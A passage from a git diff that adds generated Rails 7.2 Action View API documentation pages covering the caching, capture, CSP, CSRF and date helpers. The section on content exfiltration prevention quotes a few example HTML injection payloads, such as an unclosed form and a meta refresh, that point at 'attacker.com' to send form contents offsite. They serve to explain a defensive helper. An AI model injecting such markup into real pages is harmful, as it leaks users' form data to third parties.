+ +

The template digest that’s added to the cache key is computed by taking an MD5 of the contents of the entire template file. This ensures that your caches will automatically expire when you change the template file.

+ +

Note that the MD5 is taken of the entire template file, not just what’s within the cache do/end call. So it’s possible that changing something outside of that call will still expire the cache.

+ +

Additionally, the digestor will automatically look through your template file for explicit and implicit dependencies, and include those as part of the digest.

+ +

The digestor can be bypassed by passing skip_digest: true as an option to the cache call:

+ +
<% cache project, skip_digest: true do %>
+  <b>All the topics on this project</b>
+  <%= render project.topics %>
+<% end %>
+
+ +

Implicit dependencies

+ +

Most template dependencies can be derived from calls to render in the template itself. Here are some examples of render calls that Cache Digests knows how to decode:

+ +
render partial: "comments/comment", collection: commentable.comments
+render "comments/comments"
+render 'comments/comments'
+render('comments/comments')
+
+render "header"        # translates to render("comments/header")
+
+render(@topic)         # translates to render("topics/topic")
+render(topics)         # translates to render("topics/topic")
+render(message.topics) # translates to render("topics/topic")
+
+ +

It’s not possible to derive all render calls like that, though. Here are a few examples of things that can’t be derived:

+ +
render group_of_attachments
+render @project.documents.where(published: true).order('created_at')
+
+ +

You will have to rewrite those to the explicit form:

+ +
render partial: 'attachments/attachment', collection: group_of_attachments
+render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
+
+ +

Explicit dependencies

+ +

Sometimes you’ll have template dependencies that can’t be derived at all. This is typically the case when you have template rendering that happens in helpers. Here’s an example:

+ +
<%= render_sortable_todolists @project.todolists %>
+
+ +

You’ll need to use a special comment format to call those out:

+ +
<%# Template Dependency: todolists/todolist %>
+<%= render_sortable_todolists @project.todolists %>
+
+ +

In some cases, like a single table inheritance setup, you might have a bunch of explicit dependencies. Instead of writing every template out, you can use a wildcard to match any template in a directory:

+ +
<%# Template Dependency: events/* %>
+<%= render_categorizable_events @person.events %>
+
+ +

This marks every template in the directory as a dependency. To find those templates, the wildcard path must be absolutely defined from app/views or paths otherwise added with prepend_view_path or append_view_path. This way the wildcard for app/views/recordings/events would be recordings/events/* etc.

+ +

The pattern used to match explicit dependencies is /# Template Dependency: (\S+)/, so it’s important that you type it out just so. You can only declare one template dependency per line.

+ +

External dependencies

+ +

If you use a helper method, for example, inside a cached block and you then update that helper, you’ll have to bump the cache as well. It doesn’t really matter how you do it, but the MD5 of the template file must change. One recommendation is to simply be explicit in a comment, like:

+ +
<%# Helper Dependency Updated: May 6, 2012 at 6pm %>
+<%= some_helper_method(person) %>
+
+ +

Now all you have to do is change that timestamp when the helper method changes.

+ +

Collection Caching

+ +

When rendering a collection of objects that each use the same partial, a :cached option can be passed.

+ +

For collections rendered such:

+ +
<%= render partial: 'projects/project', collection: @projects, cached: true %>
+
+ +

The cached: true will make Action View’s rendering read several templates from cache at once instead of one call per template.

+ +

Templates in the collection not already cached are written to cache.

+ +

Works great alongside individual template fragment caching. For instance if the template the collection renders is cached like:

+ +
# projects/_project.html.erb
+<% cache project do %>
+  <%# ... %>
+<% end %>
+
+ +

Any collection renders will find those cached templates when attempting to read multiple templates at once.

+ +

If your collection cache depends on multiple sources (try to avoid this to keep things simple), you can name all these dependencies as part of a block that returns an array:

+ +
<%= render partial: 'projects/project', collection: @projects, cached: -> project { [ project, current_user ] } %>
+
+ +

This will include both records as part of the cache key and updating either of them will expire the cache.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/cache_helper.rb, line 168
+      def cache(name = {}, options = {}, &block)
+        if controller.respond_to?(:perform_caching) && controller.perform_caching
+          CachingRegistry.track_caching do
+            name_options = options.slice(:skip_digest)
+            safe_concat(fragment_for(cache_fragment_name(name, **name_options), options, &block))
+          end
+        else
+          yield
+        end
+
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_fragment_name(name = {}, skip_digest: nil, digest_path: nil) + +

+ + +
+

This helper returns the name of a cache key for a given fragment cache call. By supplying skip_digest: true to cache, the digestion of cache fragments can be manually bypassed. This is useful when cache fragments cannot be manually expired unless you know the exact key which is the case when using memcached.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/cache_helper.rb, line 240
+      def cache_fragment_name(name = {}, skip_digest: nil, digest_path: nil)
+        if skip_digest
+          name
+        else
+          fragment_name_with_digest(name, digest_path)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_if(condition, name = {}, options = {}, &block) + +

+ + +
+

Cache fragments of a view if condition is true

+ +
<% cache_if admin?, project do %>
+  <b>All the topics on this project</b>
+  <%= render project.topics %>
+<% end %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/cache_helper.rb, line 215
+      def cache_if(condition, name = {}, options = {}, &block)
+        if condition
+          cache(name, options, &block)
+        else
+          yield
+        end
+
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_unless(condition, name = {}, options = {}, &block) + +

+ + +
+

Cache fragments of a view unless condition is true

+ +
<% cache_unless admin?, project do %>
+  <b>All the topics on this project</b>
+  <%= render project.topics %>
+<% end %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/cache_helper.rb, line 231
+      def cache_unless(condition, name = {}, options = {}, &block)
+        cache_if !condition, name, options, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + caching?() + +

+ + +
+

Returns whether the current view fragment is within a cache block.

+ +

Useful when certain fragments aren’t cacheable:

+ +
<% cache project do %>
+  <% raise StandardError, "Caching private data!" if caching? %>
+<% end %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/cache_helper.rb, line 188
+      def caching?
+        CachingRegistry.caching?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uncacheable!() + +

+ + +
+

Raises UncacheableFragmentError when called from within a cache block.

+ +

Useful to denote helper methods that can’t participate in fragment caching:

+ +
def project_name_with_time(project)
+  uncacheable!
+  "#{project.name} - #{Time.now}"
+end
+
+# Which will then raise if used within a +cache+ block:
+<% cache project do %>
+  <%= project_name_with_time(project) %>
+<% end %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/cache_helper.rb, line 205
+      def uncacheable!
+        raise UncacheableFragmentError, "can't be fragment cached" if caching?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/CacheHelper/UncacheableFragmentError.html b/src/7.2/classes/ActionView/Helpers/CacheHelper/UncacheableFragmentError.html new file mode 100644 index 0000000000..5fbcf96240 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/CacheHelper/UncacheableFragmentError.html @@ -0,0 +1,60 @@ +--- +title: ActionView::Helpers::CacheHelper::UncacheableFragmentError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/CaptureHelper.html b/src/7.2/classes/ActionView/Helpers/CaptureHelper.html new file mode 100644 index 0000000000..ea945ad593 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/CaptureHelper.html @@ -0,0 +1,417 @@ +--- +title: ActionView::Helpers::CaptureHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Capture Helpers

+ +

CaptureHelper exposes methods to let you extract generated markup which can be used in other parts of a template or layout file.

+ +

It provides a method to capture blocks into variables through capture and a way to capture a block of markup for use in a layout through content_for.

+ +

As well as provides a method when using streaming responses through provide. See ActionController::Streaming for more information.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + capture(*args, &block) + +

+ + +
+

The capture method extracts part of a template as a string object. You can then use this object anywhere in your templates, layout, or helpers.

+ +

The capture method can be used in ERB templates…

+ +
<% @greeting = capture do %>
+  Welcome to my shiny new web page!  The date and time is
+  <%= Time.now %>
+<% end %>
+
+ +

…and Builder (RXML) templates.

+ +
@timestamp = capture do
+  "The current timestamp is #{Time.now}."
+end
+
+ +

You can then use that variable anywhere else. For example:

+ +
<html>
+<head><title><%= @greeting %></title></head>
+<body>
+<b><%= @greeting %></b>
+</body>
+</html>
+
+ +

The return of capture is the string generated by the block. For Example:

+ +
@greeting # => "Welcome to my shiny new web page! The date and time is 2018-09-06 11:09:16 -0500"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/capture_helper.rb, line 47
+      def capture(*args, &block)
+        value = nil
+        @output_buffer ||= ActionView::OutputBuffer.new
+        buffer = @output_buffer.capture { value = yield(*args) }
+
+        string = if @output_buffer.equal?(value)
+          buffer
+        else
+          buffer.presence || value
+        end
+
+        case string
+        when OutputBuffer
+          string.to_s
+        when ActiveSupport::SafeBuffer
+          string
+        when String
+          ERB::Util.html_escape(string)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_for(name, content = nil, options = {}, &block) + +

+ + +
+

Calling content_for stores a block of markup in an identifier for later use. In order to access this stored content in other templates, helper modules or the layout, you would pass the identifier as an argument to content_for.

+ +

Note: yield can still be used to retrieve the stored content, but calling yield doesn’t work in helper modules, while content_for does.

+ +
<% content_for :not_authorized do %>
+  alert('You are not authorized to do that!')
+<% end %>
+
+ +

You can then use content_for :not_authorized anywhere in your templates.

+ +
<%= content_for :not_authorized if current_user.nil? %>
+
+ +

This is equivalent to:

+ +
<%= yield :not_authorized if current_user.nil? %>
+
+ +

content_for, however, can also be used in helper modules.

+ +
module StorageHelper
+  def stored_content
+    content_for(:storage) || "Your storage is empty"
+  end
+end
+
+ +

This helper works just like normal helpers.

+ +
<%= stored_content %>
+
+ +

You can also use the yield syntax alongside an existing call to yield in a layout. For example:

+ +
<%# This is the layout %>
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <title>My Website</title>
+  <%= yield :script %>
+</head>
+<body>
+  <%= yield %>
+</body>
+</html>
+
+ +

And now, we’ll create a view that has a content_for call that creates the script identifier.

+ +
<%# This is our view %>
+Please login!
+
+<% content_for :script do %>
+  <script>alert('You are not authorized to view this page!')</script>
+<% end %>
+
+ +

Then, in another view, you could to do something like this:

+ +
<%= link_to 'Logout', action: 'logout', remote: true %>
+
+<% content_for :script do %>
+  <%= javascript_include_tag :defaults %>
+<% end %>
+
+ +

That will place script tags for your default set of JavaScript files on the page; this technique is useful if you’ll only be using these scripts in a few views.

+ +

Note that content_for concatenates (default) the blocks it is given for a particular identifier in order. For example:

+ +
<% content_for :navigation do %>
+  <li><%= link_to 'Home', action: 'index' %></li>
+<% end %>
+
+ +

And in another place:

+ +
<% content_for :navigation do %>
+  <li><%= link_to 'Login', action: 'login' %></li>
+<% end %>
+
+ +

Then, in another template or layout, this code would render both links in order:

+ +
<ul><%= content_for :navigation %></ul>
+
+ +

If the flush parameter is true content_for replaces the blocks it is given. For example:

+ +
<% content_for :navigation do %>
+  <li><%= link_to 'Home', action: 'index' %></li>
+<% end %>
+
+<%# Add some other content, or use a different template: %>
+
+<% content_for :navigation, flush: true do %>
+  <li><%= link_to 'Login', action: 'login' %></li>
+<% end %>
+
+ +

Then, in another template or layout, this code would render only the last link:

+ +
<ul><%= content_for :navigation %></ul>
+
+ +

Lastly, simple content can be passed as a parameter:

+ +
<% content_for :script, javascript_include_tag(:defaults) %>
+
+ +

WARNING: content_for is ignored in caches. So you shouldn’t use it for elements that will be fragment cached.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/capture_helper.rb, line 172
+      def content_for(name, content = nil, options = {}, &block)
+        if content || block_given?
+          if block_given?
+            options = content if content
+            content = capture(&block)
+          end
+          if content
+            options[:flush] ? @view_flow.set(name, content) : @view_flow.append(name, content)
+          end
+          nil
+        else
+          @view_flow.get(name).presence
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_for?(name) + +

+ + +
+

content_for? checks whether any content has been captured yet using content_for.

+ +

Useful to render parts of your layout differently based on what is in your views.

+ +
<%# This is the layout %>
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <title>My Website</title>
+  <%= yield :script %>
+</head>
+<body class="<%= content_for?(:right_col) ? 'two-column' : 'one-column' %>">
+  <%= yield %>
+  <%= yield :right_col %>
+</body>
+</html>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/capture_helper.rb, line 215
+      def content_for?(name)
+        @view_flow.get(name).present?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + provide(name, content = nil, &block) + +

+ + +
+

The same as content_for but when used with streaming flushes straight back to the layout. In other words, if you want to concatenate several times to the same buffer when rendering a given template, you should use content_for, if not, use provide to tell the layout to stop looking for more contents.

+ +

See ActionController::Streaming for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/capture_helper.rb, line 194
+      def provide(name, content = nil, &block)
+        content = capture(&block) if block_given?
+        result = @view_flow.append!(name, content) if content
+        result unless content
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/ContentExfiltrationPreventionHelper.html b/src/7.2/classes/ActionView/Helpers/ContentExfiltrationPreventionHelper.html new file mode 100644 index 0000000000..0a94bff4d4 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/ContentExfiltrationPreventionHelper.html @@ -0,0 +1,194 @@ +--- +title: ActionView::Helpers::ContentExfiltrationPreventionHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CLOSE_CDATA_COMMENT="<!-- </textarea></xmp> -->".html_safe.freeze
 

Close any open tags that support CDATA (textarea, xmp) before each form tag. This prevents attackers from injecting unclosed tags that could capture form contents.

+ +

For example, an attacker might inject:

+ +
<form action="https://attacker.com"><textarea>
+
+ +

The HTML following this tag, up until the next </textarea> or the end of the document would be captured by the attacker’s <textarea>. By closing any open textarea tags, we ensure that form contents are never exfiltrated.

CLOSE_FORM_TAG="</form>".html_safe.freeze
 

Close any open form tags before each new form tag. This prevents attackers from injecting unclosed forms that could leak markup offsite.

+ +

For example, an attacker might inject:

+ +
<form action="https://attacker.com">
+
+ +

The form elements following this tag, up until the next </form> would be captured by the attacker’s <form>. By closing any open form tags, we ensure that form contents are never exfiltrated.

CLOSE_OPTION_TAG="</option>".html_safe.freeze
 

Close any open option tags before each form tag. This prevents attackers from injecting unclosed options that could leak markup offsite.

+ +

For example, an attacker might inject:

+ +
<form action="https://attacker.com"><option>
+
+ +

The HTML following this tag, up until the next </option> or the end of the document would be captured by the attacker’s <option>. By closing any open option tags, we ensure that form contents are never exfiltrated.

CLOSE_QUOTES_COMMENT=%q(<!-- '"` -->).html_safe.freeze
 

Close any open attributes before each form tag. This prevents attackers from injecting partial tags that could leak markup offsite.

+ +

For example, an attacker might inject:

+ +
<meta http-equiv="refresh" content='0;URL=https://attacker.com?
+
+ +

The HTML following this tag, up until the next single quote would be sent to https://attacker.com. By closing any open attributes, we ensure that form contents are never exfiltrated this way.

CONTENT_EXFILTRATION_PREVENTION_MARKUP=(CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
+ + + + + + + +

Instance Public methods

+ +
+

+ + prevent_content_exfiltration(html) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb, line 61
+      def prevent_content_exfiltration(html)
+        if prepend_content_exfiltration_prevention
+          CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
+        else
+          html
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/CspHelper.html b/src/7.2/classes/ActionView/Helpers/CspHelper.html new file mode 100644 index 0000000000..e20d337fa7 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/CspHelper.html @@ -0,0 +1,118 @@ +--- +title: ActionView::Helpers::CspHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View CSP Helpers

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + csp_meta_tag(**options) + +

+ + +
+

Returns a meta tag β€œcsp-nonce” with the per-session nonce value for allowing inline <script> tags.

+ +
<head>
+  <%= csp_meta_tag %>
+</head>
+
+ +

This is used by the Rails UJS helper to create dynamically loaded inline <script> elements.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/csp_helper.rb, line 17
+      def csp_meta_tag(**options)
+        if content_security_policy?
+          options[:name] = "csp-nonce"
+          options[:content] = content_security_policy_nonce
+          tag("meta", options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/CsrfHelper.html b/src/7.2/classes/ActionView/Helpers/CsrfHelper.html new file mode 100644 index 0000000000..d0bedc2345 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/CsrfHelper.html @@ -0,0 +1,156 @@ +--- +title: ActionView::Helpers::CsrfHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View CSRF Helpers

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + csrf_meta_tag() + +

+ + +
+

For backwards compatibility.

+
+ + + + + +
+ Alias for: csrf_meta_tags +
+ + + + +
+ +
+

+ + csrf_meta_tags() + +

+ + +
+

Returns meta tags β€œcsrf-param” and β€œcsrf-token” with the name of the cross-site request forgery protection parameter and token, respectively.

+ +
<head>
+  <%= csrf_meta_tags %>
+</head>
+
+ +

These are used to generate the dynamic forms that implement non-remote links with :method.

+ +

You don’t need to use these tags for regular forms as they generate their own hidden fields.

+ +

For Ajax requests other than GETs, extract the β€œcsrf-token” from the meta-tag and send as the X-CSRF-Token HTTP header.

+
+ + + +
+ Also aliased as: csrf_meta_tag +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/csrf_helper.rb, line 22
+      def csrf_meta_tags
+        if defined?(protect_against_forgery?) && protect_against_forgery?
+          [
+            tag("meta", name: "csrf-param", content: request_forgery_protection_token),
+            tag("meta", name: "csrf-token", content: form_authenticity_token)
+          ].join("\n").html_safe
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/DateHelper.html b/src/7.2/classes/ActionView/Helpers/DateHelper.html new file mode 100644 index 0000000000..49f2e9a5f0 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/DateHelper.html @@ -0,0 +1,1286 @@ +--- +title: ActionView::Helpers::DateHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Date Helpers

+ +

The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time elements. All of the select-type methods share a number of common options that are as follows:

+
  • +

    :prefix - overwrites the default prefix of β€œdate” used for the select names. So specifying β€œbirthday” would give birthday[month] instead of date[month] if passed to the select_month method.

    +
  • +

    :include_blank - set to true if it should be possible to set an empty date.

    +
  • +

    :discard_type - set to true if you want to discard the type part of the select name. If set to true, the select_month method would use simply β€œdate” (which can be overwritten using :prefix) instead of date[month].

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + +
MINUTES_IN_QUARTER_YEAR=131400
MINUTES_IN_THREE_QUARTERS_YEAR=394200
MINUTES_IN_YEAR=525600
+ + + + + + + +

Instance Public methods

+ +
+

+ + date_select(object_name, method, options = {}, html_options = {}) + +

+ + +
+

Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute (identified by method) on an object assigned to the template (identified by object).

+ +

Options

+
  • +

    :use_month_numbers - Set to true if you want to use month numbers rather than month names (e.g. β€œ2” instead of β€œFebruary”).

    +
  • +

    :use_two_digit_numbers - Set to true if you want to display two digit month and day numbers (e.g. β€œ02” instead of β€œFebruary” and β€œ08” instead of β€œ8”).

    +
  • +

    :use_short_month - Set to true if you want to use abbreviated month names instead of full month names (e.g. β€œFeb” instead of β€œFebruary”).

    +
  • +

    :add_month_numbers - Set to true if you want to use both month numbers and month names (e.g. β€œ2 - February” instead of β€œFebruary”).

    +
  • +

    :use_month_names - Set to an array with 12 month names if you want to customize month names. Note: You can also use Rails’ i18n functionality for this.

    +
  • +

    :month_format_string - Set to a format string. The string gets passed keys :number (integer) and :name (string). A format string would be something like β€œ%{name} (%<number>02d)” for example. See Kernel.sprintf for documentation on format sequences.

    +
  • +

    :date_separator - Specifies a string to separate the date fields. Default is β€œβ€ (i.e. nothing).

    +
  • +

    :time_separator - Specifies a string to separate the time fields. Default is β€œ : ”.

    +
  • +

    :datetime_separator- Specifies a string to separate the date and time fields. Default is β€œ &mdash; ”.

    +
  • +

    :start_year - Set the start year for the year select. Default is Date.today.year - 5 if you are creating new record. While editing existing record, :start_year defaults to the current selected year minus 5.

    +
  • +

    :end_year - Set the end year for the year select. Default is Date.today.year + 5 if you are creating new record. While editing existing record, :end_year defaults to the current selected year plus 5.

    +
  • +

    :year_format - Set format of years for year select. Lambda should be passed.

    +
  • +

    :day_format - Set format of days for day select. Lambda should be passed.

    +
  • +

    :discard_day - Set to true if you don’t want to show a day select. This includes the day as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the first of the given month in order to not create invalid dates like 31 February.

    +
  • +

    :discard_month - Set to true if you don’t want to show a month select. This includes the month as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.

    +
  • +

    :discard_year - Set to true if you don’t want to show a year select. This includes the year as a hidden field instead of showing a select field.

    +
  • +

    :order - Set to an array containing :day, :month and :year to customize the order in which the select fields are shown. If you leave out any of the symbols, the respective select will not be shown (like when you set discard_xxx: true. Defaults to the order defined in the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).

    +
  • +

    :include_blank - Include a blank option in every select field so it’s possible to set empty dates.

    +
  • +

    :default - Set a default date if the affected date isn’t set or is nil.

    +
  • +

    :selected - Set a date that overrides the actual value.

    +
  • +

    :disabled - Set to true if you want show the select fields as disabled.

    +
  • +

    :prompt - Set to true (for a generic prompt), a prompt string or a hash of prompt strings for :year, :month, :day, :hour, :minute and :second. Setting this option prepends a select option with a generic prompt (Day, Month, Year, Hour, Minute, Seconds) or the given prompt string.

    +
  • +

    :with_css_classes - Set to true or a hash of strings. Use true if you want to assign generic styles for select tags. This automatically set classes β€˜year’, β€˜month’, β€˜day’, β€˜hour’, β€˜minute’ and β€˜second’. A hash of strings for :year, :month, :day, :hour, :minute, :second will extend the select type with the given value. Use html_options to modify every select tag in the set.

    +
  • +

    :use_hidden - Set to true if you only want to generate hidden input tags.

    +
+ +

If anything is passed in the html_options hash it will be applied to every select tag in the set.

+ +

NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.

+ +
# Generates a date select that when POSTed is stored in the article variable, in the written_on attribute.
+date_select("article", "written_on")
+
+# Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+# with the year in the year drop down box starting at 1995.
+date_select("article", "written_on", start_year: 1995)
+
+# Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+# with the year in the year drop down box starting at 1995, numbers used for months instead of words,
+# and without a day select box.
+date_select("article", "written_on", start_year: 1995, use_month_numbers: true,
+                                  discard_day: true, include_blank: true)
+
+# Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+# with two digit numbers used for months and days.
+date_select("article", "written_on", use_two_digit_numbers: true)
+
+# Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+# with the fields ordered as day, month, year rather than month, day, year.
+date_select("article", "written_on", order: [:day, :month, :year])
+
+# Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
+# lacking a year field.
+date_select("user", "birthday", order: [:month, :day])
+
+# Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+# which is initially set to the date 3 days from the current date
+date_select("article", "written_on", default: 3.days.from_now)
+
+# Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+# which is set in the form with today's date, regardless of the value in the Active Record object.
+date_select("article", "written_on", selected: Date.today)
+
+# Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
+# that will have a default day of 20.
+date_select("credit_card", "bill_due", default: { day: 20 })
+
+# Generates a date select with custom prompts.
+date_select("article", "written_on", prompt: { day: 'Select day', month: 'Select month', year: 'Select year' })
+
+# Generates a date select with custom year format.
+date_select("article", "written_on", year_format: ->(year) { "Heisei #{year - 1988}" })
+
+# Generates a date select with custom day format.
+date_select("article", "written_on", day_format: ->(day) { day.ordinalize })
+
+ +

The selects are prepared for multi-parameter assignment to an Active Record object.

+ +

Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that all month choices are valid.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 290
+      def date_select(object_name, method, options = {}, html_options = {})
+        Tags::DateSelect.new(object_name, method, self, options, html_options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + datetime_select(object_name, method, options = {}, html_options = {}) + +

+ + +
+

Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute (identified by method) on an object assigned to the template (identified by object).

+ +

If anything is passed in the html_options hash it will be applied to every select tag in the set.

+ +
# Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on
+# attribute.
+datetime_select("article", "written_on")
+
+# Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
+# article variable in the written_on attribute.
+datetime_select("article", "written_on", start_year: 1995)
+
+# Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
+# be stored in the trip variable in the departing attribute.
+datetime_select("trip", "departing", default: 3.days.from_now)
+
+# Generate a datetime select with hours in the AM/PM format
+datetime_select("article", "written_on", ampm: true)
+
+# Generates a datetime select that discards the type that, when POSTed, will be stored in the article variable
+# as the written_on attribute.
+datetime_select("article", "written_on", discard_type: true)
+
+# Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+datetime_select("article", "written_on", prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' })
+datetime_select("article", "written_on", prompt: { hour: true }) # generic prompt for hours
+datetime_select("article", "written_on", prompt: true) # generic prompts for all
+
+ +

The selects are prepared for multi-parameter assignment to an Active Record object.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/date_helper.rb, line 366
+      def datetime_select(object_name, method, options = {}, html_options = {})
+        Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + distance_of_time_in_words(from_time, to_time = 0, options = {}) + +

+ + +
+

Reports the approximate distance in time between two Time, Date, or DateTime objects or integers as seconds. Pass include_seconds: true if you want more detailed approximations when distance < 1 min, 29 secs. Distances are reported based on the following table:

+ +
0 <-> 29 secs                                                             # => less than a minute
+30 secs <-> 1 min, 29 secs                                                # => 1 minute
+1 min, 30 secs <-> 44 mins, 29 secs                                       # => [2..44] minutes
+44 mins, 30 secs <-> 89 mins, 29 secs                                     # => about 1 hour
+89 mins, 30 secs <-> 23 hrs, 59 mins, 29 secs                             # => about [2..24] hours
+23 hrs, 59 mins, 30 secs <-> 41 hrs, 59 mins, 29 secs                     # => 1 day
+41 hrs, 59 mins, 30 secs  <-> 29 days, 23 hrs, 59 mins, 29 secs           # => [2..29] days
+29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs   # => about 1 month
+44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs   # => about 2 months
+59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec                    # => [2..12] months
+1 yr <-> 1 yr, 3 months                                                   # => about 1 year
+1 yr, 3 months <-> 1 yr, 9 months                                         # => over 1 year
+1 yr, 9 months <-> 2 yr minus 1 sec                                       # => almost 2 years
+2 yrs <-> max time or date                                                # => (same rules as 1 yr)
+
+ +

With include_seconds: true and the difference < 1 minute 29 seconds:

+ +
0-4   secs      # => less than 5 seconds
+5-9   secs      # => less than 10 seconds
+10-19 secs      # => less than 20 seconds
+20-39 secs      # => half a minute
+40-59 secs      # => less than a minute
+60-89 secs      # => 1 minute
+
+from_time = Time.now
+distance_of_time_in_words(from_time, from_time + 50.minutes)                                # => about 1 hour
+distance_of_time_in_words(from_time, 50.minutes.from_now)                                   # => about 1 hour
+distance_of_time_in_words(from_time, from_time + 15.seconds)                                # => less than a minute
+distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true)         # => less than 20 seconds
+distance_of_time_in_words(from_time, 3.years.from_now)                                      # => about 3 years
+distance_of_time_in_words(from_time, from_time + 60.hours)                                  # => 3 days
+distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true)         # => less than a minute
+distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true)         # => less than a minute
+distance_of_time_in_words(from_time, 76.seconds.from_now)                                   # => 1 minute
+distance_of_time_in_words(from_time, from_time + 1.year + 3.days)                           # => about 1 year
+distance_of_time_in_words(from_time, from_time + 3.years + 6.months)                        # => over 3 years
+distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
+
+to_time = Time.now + 6.years + 19.days
+distance_of_time_in_words(from_time, to_time, include_seconds: true)                        # => about 6 years
